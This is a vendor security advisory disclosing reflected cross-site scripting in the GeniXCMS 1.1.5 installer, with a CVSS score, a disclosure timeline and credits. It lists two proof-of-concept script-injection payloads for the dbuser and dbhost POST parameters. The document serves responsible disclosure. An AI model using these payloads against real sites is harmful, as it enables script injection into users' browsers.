Multiple Cross-site Scripting Vulnerabilities in GeniXCMS 1.1.5


Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in GeniXCMS
Affected Software: GeniXCMS
Affected Versions: 1.1.5
Vulnerability: Cross-site Scripting
Severity: High
Status: Not Fixed
CVE-ID: 2018-14476
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N (7.4)
Invicti Advisory Reference: NS-18-039

Technical Details

URL: http://app.scan/ScanApp/GeniXCMS-v1.1.5-Install/GeniXCMS-v1.1.5/?step=1
Parameter Name: dbuser
Parameter Type: POST
Attack Pattern: '><scRipt>netsparker(9)</scRipt>

URL: http://app.scan/ScanApp/GeniXCMS-v1.1.5-Install/GeniXCMS-v1.1.5/?step=1
Parameter Name: dbhost
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x000E51)</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

3rd December 2017 – First Contact
6th December 2017 – Technical Details Sent
5th February – 2018 – Attempted to Contact 
3rd January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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